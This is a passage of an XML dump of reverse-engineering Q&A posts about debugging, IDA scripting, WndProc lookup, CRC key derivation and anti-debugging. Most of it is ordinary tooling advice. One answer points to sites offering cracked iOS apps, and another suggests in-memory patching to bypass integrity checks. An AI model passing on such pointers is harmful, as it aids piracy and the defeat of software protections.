materials.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="23099" LastEditDate="2019-03-12T08:53:39.267" LastActivityDate="2019-03-12T08:53:39.267" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="11209" PostTypeId="1" CreationDate="2015-10-29T17:42:27.770" Score="1" ViewCount="165" Body="&lt;p&gt;In some of my IDA scripts, it would be useful to be able to reason about which variables were stored in which registers at a given place in the program. One example is the following:&#xA;&lt;code&gt;&#xA;mov     rdx, [rbp+client]&#xA;mov     rax, [rbp+channel]&#xA;mov     rsi, rdx&#xA;mov     rdi, rax&#xA;call    sub_41002D&#xA;&lt;/code&gt;&#xA;It would be useful if I could deduce that, at the time when sub_41002D is called, rdi contains the variable called &quot;channel&quot; and rsi contains the variable &quot;client&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any IDA scripting feature which allows me to do this, or will I need to roll my own solution? If so, is there a name for what I'm trying to do? Do algorithms for this already exist? Any pointers would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="13402" LastActivityDate="2015-10-29T17:42:27.770" Title="Deducing register contents through IDA scripting" Tags="|ida|idapython|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11210" PostTypeId="1" AcceptedAnswerId="11211" CreationDate="2015-10-29T17:43:28.620" Score="7" ViewCount="3736" Body="&lt;p&gt;I'm trying to find a WndProc from explorer.exe that is handling these messages, I've found with Spy++:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;000001&amp;gt; 00000000000B01C8 P message:0xC02B [Registered:&quot;SHELLHOOK&quot;] wParam:00000025 lParam:000F0184&#xA;&amp;lt;000002&amp;gt; 00000000000B01C8 P message:0xC02B [Registered:&quot;SHELLHOOK&quot;] wParam:00008006 lParam:000F0184&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm trying to prevent explorer.exe from flashing the task bar button, it's ruining my Windows 10 experience. In Windows 10 the flashing task bar buttons appear in all desktops, and it's just maddening when focusing on a work on another virtual desktop. Not a feature I want. The above messages are sent to Task switcher in explorer.exe, if I can prevent them being handled I can beat this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've wealth of knowledge about the WndProc which I want to see, and modify from Spy++, following windows are Property Inspector of Spy++ (64 bit version):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Note: the 32bit version of Spy++ does not show Window Proc at all, just &lt;code&gt;(Unavailable)(Unicode)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/k5L8n.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/k5L8n.png&quot; alt=&quot;Window Proc address?&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/OiDsN.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/OiDsN.png&quot; alt=&quot;Thread ID&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And in x64dbg I have the thread open:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/DZN8w.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DZN8w.png&quot; alt=&quot;x64dbg open on the same thread&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I just can't figure out how can I find the Window Proc in x64dbg?&lt;/p&gt;&#xA;" OwnerUserId="13982" LastEditorUserId="13982" LastEditDate="2015-10-31T18:50:19.810" LastActivityDate="2022-07-31T04:59:02.077" Title="How to find WndProc using x64dbg?" Tags="|windows|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11211" PostTypeId="2" ParentId="11210" CreationDate="2015-10-29T18:24:02.080" Score="6" Body="&lt;p&gt;The spy++ is showing the wndproc in your screen shot (it is probably subclassed; you may need to trace but wndproc is shown in your screenshot as &lt;code&gt;361c9880&lt;/code&gt;  I don't know what the command is in x64 dbg but if you were on ollydbg you simply do ctrl+g (goto) key in the address as shown in spy++ and break and log the messages for filtering.&lt;/p&gt;&#xA;&lt;p&gt;A screen shot of calc.exe -&amp;gt; backspace button windows wndproc in comctl32.dll  (32 bits and 64 bits shouldn't matter much on concept level)&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Q2tMg.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Q2tMg.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://devblogs.microsoft.com/oldnewthing/20031201-00/?p=41673&quot; rel=&quot;nofollow noreferrer&quot;&gt;An entry by Raymond Chen&lt;/a&gt; talks about cookies being returned instead of wndproc.&lt;/p&gt;&#xA;&lt;p&gt;If all else fails assemble GetWindowLongPtrW in place to fetch the actual WndProc&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;suspend the process (f12 or esc)&lt;/li&gt;&#xA;&lt;li&gt;use ctrl+g to goto user32.GetWindowLongPtrW&lt;/li&gt;&#xA;&lt;li&gt;right click set new origin here   (save the rip prior this)&lt;/li&gt;&#xA;&lt;li&gt;save the state of register somewhere&lt;/li&gt;&#xA;&lt;li&gt;modify rcx and plop the handle into rcx (which was b01c8 in your screen shot)&lt;/li&gt;&#xA;&lt;li&gt;use the latest window handle as shown by spy++&lt;/li&gt;&#xA;&lt;li&gt;for the existing session do not put 0xb01c8&lt;/li&gt;&#xA;&lt;li&gt;modify edx to hold -4 (index of GWLP_WNDPROC)&lt;/li&gt;&#xA;&lt;li&gt;step through the Function&lt;/li&gt;&#xA;&lt;li&gt;before the function returns rax should hold the actual WndProc&lt;/li&gt;&#xA;&lt;li&gt;save or set a bp on the Wndproc&lt;/li&gt;&#xA;&lt;li&gt;restore registers and rip to pristine state and continue exploring&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;I downloaded x64dbg and ran 64 bit calc.exe spy++ 32 bit doesn't show wndproc. I cooked a script to alloc a page in process memory of calc.exe and assembled a detour using the script language and fetched the actual WndProc.&lt;/p&gt;&#xA;&lt;p&gt;A screenshot below:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/7Jy6A.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7Jy6A.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The debuggee must be in a paused state.&lt;/p&gt;&#xA;&lt;p&gt;The script allocates memory in the debuggee's address space using alloc; after tabbing once the status bar should show the newly allocated address.&#xA;Also the variables $lastalloc $result should hold the newly allocated memory address; if you do &lt;code&gt;d address&lt;/code&gt; a bunch of 00 00 should stare at you.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;confirm the allocation&lt;/li&gt;&#xA;&lt;li&gt;if the memory is allocated tab one step in the script&lt;/li&gt;&#xA;&lt;li&gt;push rcx should be assembled in the newly allocated address&lt;/li&gt;&#xA;&lt;li&gt;use d address or d $lastalloc to confirm&lt;/li&gt;&#xA;&lt;li&gt;like wise assemble all the instruction&lt;/li&gt;&#xA;&lt;li&gt;use the proper handle value in ecx (stale or reused window handles may provide incorrect information confirm you assemble mov rcx , HWND right&lt;/li&gt;&#xA;&lt;li&gt;now you need to ensure you put the right address in eax  the address should be of user32.GetWindowLongPtrW&lt;/li&gt;&#xA;&lt;li&gt;assemble all the cleanup instructions&lt;/li&gt;&#xA;&lt;li&gt;one you have done this&lt;/li&gt;&#xA;&lt;li&gt;save the existing rip some where (write it down in a paper)&lt;/li&gt;&#xA;&lt;li&gt;right click and select the first instruction in the newly allocated address and set it as origin ( new origin here) the rip will be changed to the newly allocated address&lt;/li&gt;&#xA;&lt;li&gt;hit f8 and execute the instructions on by one&lt;/li&gt;&#xA;&lt;li&gt;when call eax is done eax will hold the Wndproc&lt;/li&gt;&#xA;&lt;li&gt;save this (write it in paper)&lt;/li&gt;&#xA;&lt;li&gt;execute the cleanup instruction&lt;/li&gt;&#xA;&lt;li&gt;hit ctrl+g and enter the old RIP&lt;/li&gt;&#xA;&lt;li&gt;right click -&amp;gt; new origin here ( RIP will now point to the old value when you paused the debuggee&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;That is it; now you have Wndproc in a paper and you have returned to the original state.&lt;/p&gt;&#xA;&lt;p&gt;This  is a detour (making an intentional bypass in the code flow of debuggee to do some extra work and return back to the place where bypass was done as if nothing was done to continue the original flow).&lt;/p&gt;&#xA;&lt;p&gt;Use bp to set a breakpoint in the wndproc you have on paper.&lt;/p&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="13506" LastEditDate="2022-07-31T04:59:02.077" LastActivityDate="2022-07-31T04:59:02.077" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="11212" PostTypeId="1" AcceptedAnswerId="11214" CreationDate="2015-10-29T22:52:19.457" Score="3" ViewCount="9889" Body="&lt;p&gt;I'm trying to debug Control Panel and I'd like to disassemble &lt;code&gt;shell32.dll&lt;/code&gt;. Because control panel is a 64-bit executable, it loads the 64-bit version of the dll (contrary to the name). When I view the disassembled code in debug mode, I can confirm that it is indeed 64-bit. Ida claims that it's located at &lt;code&gt;C:\WINDOWS\system32\shell32.dll&lt;/code&gt;; however this dll is entirely 32-bit. I also checked &lt;code&gt;C:\WINDOWS\SysWOW64\shell32.dll&lt;/code&gt;, but it's also 32-bit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone explain what's going on here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="13997" LastActivityDate="2015-11-02T19:35:42.713" Title="Where can I find the 64-bit version of shell32.dll on Windows?" Tags="|windows|dll|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11213" PostTypeId="1" CreationDate="2015-10-30T02:53:30.853" Score="2" ViewCount="645" Body="&lt;p&gt;I'm trying to discover the algorithm of a lost software, there is an  equipment that requiest some data, and validates the data using the &quot;KEY&quot;, if you change any parameter of the data then you need a valid KEY.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The data is composed of 4 int values and the KEY is a HEX of 6-digits.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;param1  param2      param3  param4  KEY&#xA;5669    30/06/2014  187769  960     0xA34108&#xA;5812    31/01/2015  233789  960     0xFAE094&#xA;5812    31/01/2015  233859  960     0x176471&#xA;6437    30/06/2015  368923  10000   0x35E6C2&#xA;6468    31/07/2015  398013  10000   0x404818&#xA;6161    30/09/2015  312581  960     0x9A59BC&#xA;6161    30/09/2015  311298  960     0xEC454C&#xA;6655    31/12/2016  448758  960     0x??????&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I suspect the the algorithm is a type of CRC, because in the software you was able to enter something like a seed of 4-digits HEX in a field called CRC:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the  KEYs length I think it should be a CRC-24, but the software was using 4-lenght so is not the xor-in nor xor-out of the CRC-24.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tested on Python[crcmod] by bruteforce, all parameters combinations to use as input data and all combinations[&lt;code&gt;0x000000&lt;/code&gt;-&lt;code&gt;0xFFFFFF&lt;/code&gt;] of possible seed and xor-out for the CRC-24.&#xA;I also tried to find the equation by curve-fitting but no luck, the relation seams unpredictable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know there are many CRC versions: polynomials, hash-tables, etc. Anyone have idea of the the CRC version or algorithm that could be used here?&lt;/p&gt;&#xA;" OwnerUserId="13998" LastActivityDate="2015-10-30T02:53:30.853" Title="find CRC algorithm, having some input and output data pairs" Tags="|decryption|deobfuscation|crc|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11214" PostTypeId="2" ParentId="11212" CreationDate="2015-10-30T14:52:58.173" Score="3" Body="&lt;p&gt;What you are seeing is the result of WoW file-system redirection.  The effect occurs when a 32-bit executable requests a copy of a file in the Windows directory.  Since a 64-bit result would probably make no sense to a 32-bit executable, you get the 32-bit copy instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use Explorer to copy the file from the system32 directory, and then examine the result, you will find that it is a 64-bit executable.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastActivityDate="2015-10-30T14:52:58.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11216" PostTypeId="2" ParentId="2548" CreationDate="2015-10-30T20:20:07.853" Score="9" Body="&lt;p&gt;Here is something directly from Microsoft.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/Microsoft/microsoft-pdb&quot;&gt;https://github.com/Microsoft/microsoft-pdb&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14008" LastActivityDate="2015-10-30T20:20:07.853" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11217" PostTypeId="1" CreationDate="2015-10-30T23:20:21.237" Score="3" ViewCount="246" Body="&lt;p&gt;I've been attempting to build my own implementation of Nvidia's Surround functionality by using their DLLs within a more reliable and automatic system. I'm pretty new to this; I've been a programmer for a while, but I've never had need to do any reverse engineering like this, so apologies if I'm being profoundly dumb.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I have managed the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Found the names and addresses of the exported functions that relate&#xA;to what I want to do inside NVCPL.dll.&lt;/li&gt;&#xA;&lt;li&gt;Found the only exe that seems to load in a copy of that DLL (nvcplui.exe).&lt;/li&gt;&#xA;&lt;li&gt;Using API monitor, I found an instance of one of the DLL's functions&#xA;being called at what seems to be the right time.&lt;/li&gt;&#xA;&lt;li&gt;Put break points in the assembly of nvcpl.dll whilst attached to&#xA;nvcplui.exe via x64_dbg&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Where I'm stuck:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I was using API monitor, I couldn't seem to catch any direct calls to the function I was looking at (NvCplApiDisableSpan), I only ever found it in the stack before a wndproc call. Also, the break points that I placed in and around that function never get triggered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My current thoughts are that I'll need to &quot;see&quot; the assembly of the function being called so I can get to the next step of figuring out how to shape my calls to that function correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought perhaps that the function was being called by a different process, having being triggered to do so by nvcplui.exe, but according to procexp that's not the case; nvcplui.exe is the only process using that dll.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advise you have for me would be greatly appreciated; I'm not averse to doing my homework, but I can't see a way forward without maybe getting hold of a copy of IDA, however, that's a &lt;em&gt;little&lt;/em&gt; outside my budget.&lt;/p&gt;&#xA;" OwnerUserId="14009" LastActivityDate="2015-10-30T23:20:21.237" Title="Implementing call into compiled, undocumented, C DLL; divining exported function prototype" Tags="|dll|functions|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11218" PostTypeId="2" ParentId="8528" CreationDate="2015-10-31T09:33:56.013" Score="2" Body="&lt;p&gt;&lt;code&gt;My answer&lt;/code&gt; What you can actually do is to look for &quot;cracked IPA apps&quot;, which basically mean they are decrypted (FairPlay encryption removed). There are many sites like this one (&lt;a href=&quot;https://www.appaddict.org&quot; rel=&quot;nofollow&quot;&gt;AppAddict&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Note&lt;/code&gt; &#xA;I had to do that since I upgraded my jailbroken device to iOS 8.4 (Pangu jailbreak). The iOS8.4 jailbreak disabled debugger tools like &lt;a href=&quot;https://github.com/KJCracks/Clutch&quot; rel=&quot;nofollow&quot;&gt;Clutch&lt;/a&gt;, which I used to decrypt binaries. Maybe the iOS 9.0 jailbreak allows them to work again.&#xA;I couldn't even get to decrypt some older versions of Facebook or Tinder. That's when you really rely on the community to have uploaded their cracked binaries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Please note that I am not supporting piracy&lt;/strong&gt;. Linking cracked IPA resources is meant for reverse engineering and research purpose. In this point of view I find it helpful to provide decrypted (&quot;cracked&quot;) binaries of &lt;em&gt;free apps&lt;/em&gt; to the community (via AppAddict for instance).&lt;/p&gt;&#xA;" OwnerUserId="14012" LastActivityDate="2015-10-31T09:33:56.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11219" PostTypeId="2" ParentId="2814" CreationDate="2015-10-31T10:17:26.913" Score="0" Body="&lt;h3&gt;Depending on your need&lt;/h3&gt;&#xA;&lt;p&gt;If you need to &lt;strong&gt;change the behavior of Objective-C&lt;/strong&gt; (possibly also Swift) &lt;strong&gt;methods or classes&lt;/strong&gt;, it is way easier to &lt;strong&gt;create a tweak&lt;/strong&gt; for the app. There are also many advantages in doing so, one of them being that a tweak can be un/-installed easily at a large scale (just create a source for Cydia with your tweak).&lt;/p&gt;&#xA;&lt;p&gt;Note that if you need a one-time and &lt;em&gt;non permanent&lt;/em&gt; change, consider using &lt;strong&gt;Cycript&lt;/strong&gt; instead. It is really straightforward (cycript.org). Just inspect the target app's headers with &lt;em&gt;Clutch&lt;/em&gt; and &lt;em&gt;class-dump-z&lt;/em&gt; in order to have an idea of what you want to modify and you're good to go.&lt;/p&gt;&#xA;&lt;h3&gt;Creating a tweak&lt;/h3&gt;&#xA;&lt;p&gt;In order to create a tweak, you can use &lt;a href=&quot;http://www.iosopendev.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;iOSOpenDev&lt;/strong&gt;&lt;/a&gt; (and its &lt;a href=&quot;http://iphonedevwiki.net/index.php/Logos&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Logos&lt;/em&gt;&lt;/a&gt; template) or &lt;strong&gt;Theos&lt;/strong&gt;. iOSOpendev allows you to create your tweak in Xcode and install it to your device, making it really convenient to use.&lt;/p&gt;&#xA;" OwnerUserId="14012" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2015-10-31T10:17:26.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11220" PostTypeId="1" AcceptedAnswerId="11221" CreationDate="2015-10-31T12:07:10.423" Score="2" ViewCount="594" Body="&lt;p&gt;I've set breakpoints on some Windows kernel functions using WinDBG. When the breakpoints are hit, I can query information about the invoking user-mode process using the &lt;code&gt;!process&lt;/code&gt; or &lt;code&gt;!peb&lt;/code&gt; commands.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How are these commands implemented? How can I find the relevant memory structures and &quot;manually&quot; trace back to the user-mode caller when one of my BPs hit?&lt;/p&gt;&#xA;" OwnerUserId="3814" LastActivityDate="2015-10-31T19:04:49.703" Title="Finding user process for Windows kernel API call" Tags="|windows|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11221" PostTypeId="2" ParentId="11220" CreationDate="2015-10-31T12:28:19.947" Score="3" Body="&lt;p&gt;currentprocess KPROCESS offset is returned by&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;IDebugSystemObjects::GetCurrentProcessDataOffset&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;peb is returned by&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;IDebugSystemObjects::GetCurrentProcessPeb method&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;both are implemented in dbgeng &lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can set process specific breakpoints so that the kernel api will break only in the correct process context &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bp /p [eprocess] {kernel api}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to look at the stack use &lt;code&gt;kb&lt;/code&gt; when the breakpoint is hit  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;windbg comes with sample src code that shows various forms of implementation &#xA;right from the very old wdbgext extensions to the latest engextcpp extension &lt;/p&gt;&#xA;&#xA;&lt;p&gt;a basic implementation is simple and straightforward &#xA;Call DebugCreate() to obtain a IDebugClient Interface &#xA;Query the Other Interfaces from this Client Interface and call the methods&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to find a series of articles that show how to use the dbgeng functions &#xA;explore here &#xA;&lt;a href=&quot;http://www.woodmann.com/forum/entry.php?246-A-Simple-Dbgeng-Based-User-Mode-Debugger&quot; rel=&quot;nofollow&quot;&gt;http://www.woodmann.com/forum/entry.php?246-A-Simple-Dbgeng-Based-User-Mode-Debugger&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2015-10-31T19:04:49.703" LastActivityDate="2015-10-31T19:04:49.703" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11222" PostTypeId="1" AcceptedAnswerId="11224" CreationDate="2015-11-01T09:28:44.817" Score="3" ViewCount="348" Body="&lt;p&gt;For the ease of analysis (i.e., static analysis), I am planning to convert a control-flow graph, of a function, into a spanning tree by removing the backward edges. I wonder whether this spanning tree can be considered as a binary tree? That is, is it possible for a basic-block to have more than 2 out-going edges?&lt;/p&gt;&#xA;" OwnerUserId="3766" LastActivityDate="2015-11-02T08:57:37.193" Title="Can a basic-block have more than 2 outgoing edges?" Tags="|disassembly|static-analysis|control-flow-graph|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11223" PostTypeId="2" ParentId="10688" CreationDate="2015-11-01T09:29:21.587" Score="0" Body="&lt;p&gt;Or maybe you can make a loader instead of &quot;physical&quot; patch. Since your question is quite generic this is a quite generic solution patching bytes in memory is sometimes very useful to bypass integrity checks.&lt;/p&gt;&#xA;" OwnerUserId="13977" LastActivityDate="2015-11-01T09:29:21.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11224" PostTypeId="2" ParentId="11222" CreationDate="2015-11-01T10:24:36.837" Score="4" Body="&lt;p&gt;It depends on target's assembly language and compiler which your executable was compiled with.&#xA;For example C language switch/case clause may be implemented in a manner which allows your tree to be not binary.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;switch (a)&#xA;{&#xA;case 1:&#xA;    return 1;&#xA;break;&#xA;case 2:&#xA;    return 10;&#xA;break;&#xA;case 3:&#xA;    return 100;&#xA;break;&#xA;case 4:&#xA;    return 1000;&#xA;break;&#xA;case 5:&#xA;    return 10000;&#xA;break;&#xA;default:&#xA;    return -1;&#xA;break;&#xA;}&#xA;&#xA;&#xA;00000000004004ed &amp;lt;main&amp;gt;:&#xA;  4004ed:   55                      push   %rbp&#xA;  4004ee:   48 89 e5                mov    %rsp,%rbp&#xA;  4004f1:   89 7d fc                mov    %edi,-0x4(%rbp)&#xA;  4004f4:   48 89 75 f0             mov    %rsi,-0x10(%rbp)&#xA;  4004f8:   83 7d fc 05             cmpl   $0x5,-0x4(%rbp)&#xA;  4004fc:   77 47                   ja     400545 &amp;lt;main+0x58&amp;gt;&#xA;  4004fe:   8b 45 fc                mov    -0x4(%rbp),%eax&#xA;  400501:   48 8d 14 85 00 00 00    lea    0x0(,%rax,4),%rdx&#xA;  400508:   00 &#xA;  400509:   48 8d 05 c4 00 00 00    lea    0xc4(%rip),%rax        # 4005d4 &amp;lt;_IO_stdin_used+0x4&amp;gt;&#xA;  400510:   8b 04 02                mov    (%rdx,%rax,1),%eax&#xA;  400513:   48 63 d0                movslq %eax,%rdx&#xA;  400516:   48 8d 05 b7 00 00 00    lea    0xb7(%rip),%rax        # 4005d4 &amp;lt;_IO_stdin_used+0x4&amp;gt;&#xA;  40051d:   48 01 d0                add    %rdx,%rax&#xA;  400520:   ff e0                   **jmpq   *%rax**&#xA;  400522:   b8 01 00 00 00          mov    $0x1,%eax&#xA;  400527:   eb 21                   jmp    40054a &amp;lt;main+0x5d&amp;gt;&#xA;  400529:   b8 0a 00 00 00          mov    $0xa,%eax&#xA;  40052e:   eb 1a                   jmp    40054a &amp;lt;main+0x5d&amp;gt;&#xA;  400530:   b8 64 00 00 00          mov    $0x64,%eax&#xA;  400535:   eb 13                   jmp    40054a &amp;lt;main+0x5d&amp;gt;&#xA;  400537:   b8 e8 03 00 00          mov    $0x3e8,%eax&#xA;  40053c:   eb 0c                   jmp    40054a &amp;lt;main+0x5d&amp;gt;&#xA;  40053e:   b8 10 27 00 00          mov    $0x2710,%eax&#xA;  400543:   eb 05                   jmp    40054a &amp;lt;main+0x5d&amp;gt;&#xA;  400545:   b8 ff ff ff ff          mov    $0xffffffff,%eax&#xA;  40054a:   5d                      pop    %rbp&#xA;  40054b:   c3                      retq   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;for example &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;400520: ff e0                   **jmpq   *%rax**&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;instruction implements switch.case jumps in this example. Obviously the basic block which ends with this jump will have 6 out-going edges. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any other indirect jump may also produce such a situation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some good examples in &lt;a href=&quot;http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.72.4593&amp;amp;rep=rep1&amp;amp;type=pdf&quot; rel=&quot;nofollow&quot;&gt;this article&lt;/a&gt;.&#xA;So, the answer to your question is definitely yes, there are basic blocks with more than 2 out-going edges and your spanning tree can not be considered as binary.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="2318" LastEditDate="2015-11-01T12:16:19.007" LastActivityDate="2015-11-01T12:16:19.007" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11225" PostTypeId="1" AcceptedAnswerId="16660" CreationDate="2015-11-01T21:16:33.740" Score="3" ViewCount="1192" Body="&lt;p&gt;I am trying to solve a reverse engineering challenge using using &lt;code&gt;gdb&lt;/code&gt;. I can run the program inside it but when I set a breakpoint at &lt;code&gt;main&lt;/code&gt; then I get&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Program received signal SIGSEGV, Segmentation fault.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Setting it at something even earlier like &lt;code&gt;_init&lt;/code&gt; (there are two BTW) also was not very fruitful, could it be that the program might be corrupting itself at some point that I didn't catch? Have a look at the &lt;code&gt;backtrace&lt;/code&gt; for that matter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#0  0x47048474 in ?? ()&#xA;#1  0x0804864a in __handle_global_ctors ()&#xA;#2  0x080488c5 in __do_global_ctors_aux ()&#xA;#3  0x08048349 in _init ()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now I tried to statically decompile it using a simple recursive traversal disassembler (not IDA) but I couldn't find any traces of &lt;code&gt;CC&lt;/code&gt; (INT 3) so I guess another layer of obfuscation has been added.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried &lt;code&gt;record&lt;/code&gt; with no success:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Breakpoint 5, 0x0804833a in _init ()&#xA;(gdb) record&#xA;(gdb) c&#xA;Continuing.&#xA;(null)Process record: failed to record execution log.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Oh and I couldn't find the hex string &quot;47048474&quot; either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Any more ideas what can help in such a situation? Maybe detecting the self-modification?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="13953" LastActivityDate="2017-10-30T09:27:23.773" Title="using GDB and dealing with breakpoint detection" Tags="|linux|gdb|anti-debugging|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11226" PostTypeId="2" ParentId="10766" CreationDate="2015-11-02T05:12:48.010" Score="4" Body="&lt;p&gt;&quot;Wrapping&quot; is definitely possible, one of the techniques I normally use for Android reverse engineering is &quot;shimming&quot; the binary. Essentially you write a small application, either Java/Application based or C/Native based. An example of doing this is here;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/rednaga/native-shim&quot; rel=&quot;nofollow&quot;&gt;https://github.com/rednaga/native-shim&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This allows you to call any method you would like with slight modifications.&lt;/p&gt;&#xA;" OwnerUserId="8103" LastActivityDate="2015-11-02T05:12:48.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11229" PostTypeId="2" ParentId="11026" CreationDate="2015-11-02T14:03:32.380" Score="0" Body="&lt;p&gt;MATALB. It is very easy to demodulate it, see here for step-by-step instructions: &lt;a href=&quot;http://www.mathworks.com/help/comm/ref/fmmod.html&quot; rel=&quot;nofollow&quot;&gt;http://www.mathworks.com/help/comm/ref/fmmod.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8041" LastActivityDate="2015-11-02T14:03:32.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
